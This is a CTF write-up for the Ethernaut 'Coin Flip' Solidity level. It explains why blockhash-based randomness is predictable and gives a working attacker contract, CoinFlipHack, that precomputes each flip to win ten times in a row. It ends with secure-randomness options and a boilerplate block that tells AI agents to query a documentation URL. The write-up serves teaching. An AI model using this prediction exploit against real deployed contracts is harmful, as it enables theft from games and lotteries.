# Coin Flip

## Description

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

Things that might help:

* See the Help page above, section "Beyond the console"

## Background Knowledge

### Randomness in Ethereum

Randomness in Ethereum is generated by **keccak256.** This generated hash is finally converted into a large integer, and then compute this integer modulo `n`.

This method of deriving pseudo-randomness in smart contracts makes them vulnerable to attack. Adversaries who know the input, can thus guess the "random" outcome.

## Code Audit

Fixed version of the original code:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

Here `pragma` and `import` are updated.

In this contract, `block.number` is used as the seed of keccak256 for generating randomness. But when does `block.number` change? The time it takes for `block.number` to increment is called **block time**. Quote from Ethereum doc:

<figure><img src="/files/oEIwVXYCIEIFzIQwrNOE" alt=""><figcaption><p>Block Time</p></figcaption></figure>

That means, if we do the math fast enough (within the 12 to 14 seconds interval), then `block.number` will be a fixed number and it produces a deterministic result. Randomness is broken here.

## Solution

This level is not possible to be solved in console. Instead, we shall write a "proxy" contract in Remix IDE and name it `CoinFlipHack`. This proxy contract does all the math and calls the `flip()` function of the original contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import './CoinFlip.sol';

contract CoinFlipHack {

    using SafeMath for uint256;
    CoinFlip public coinFlipContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlipContract) public {
        coinFlipContract = CoinFlip(_coinFlipContract);
    }

    function flip() public returns (bool) {

        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        coinFlipContract.flip(side);
    }
}
```

We define a constructor like this to feed in the address of the original contract. Deploy the `CoinFlipHack` contract:

<figure><img src="/files/yzp5xakEShoY3DA3zB5l" alt=""><figcaption><p>CoinFlipHack deploy</p></figcaption></figure>

Once the contract is successfully deployed, click "flip" 10 times to make 10 guesses:

<figure><img src="/files/02CChTzRTxeL0VNHh24T" alt=""><figcaption><p>CoinFlipHack flip</p></figcaption></figure>

Click "Submit instance" and move on to the next level.

## Summary

Generating random numbers in solidity can be tricky. There currently isn't a native way to generate them, and everything you use in smart contracts is publicly visible, including the local variables and state variables marked as private. Miners also have control over things like blockhashes, timestamps, and whether to include certain transactions - which allows them to bias these values in their favor.

To get cryptographically proven random numbers, you can use [Chainlink VRF](https://docs.chain.link/docs/get-a-random-number), which uses an oracle, the LINK token, and an on-chain contract to verify that the number is truly random.

Some other options include using Bitcoin block headers (verified through [BTC Relay](http://btcrelay.org/)), [RANDAO](https://github.com/randao/randao), or [Oraclize](http://www.oraclize.it/)).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ret2basic.gitbook.io/ctfwriteup/web3-ctf/ethernaut/coin-flip.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
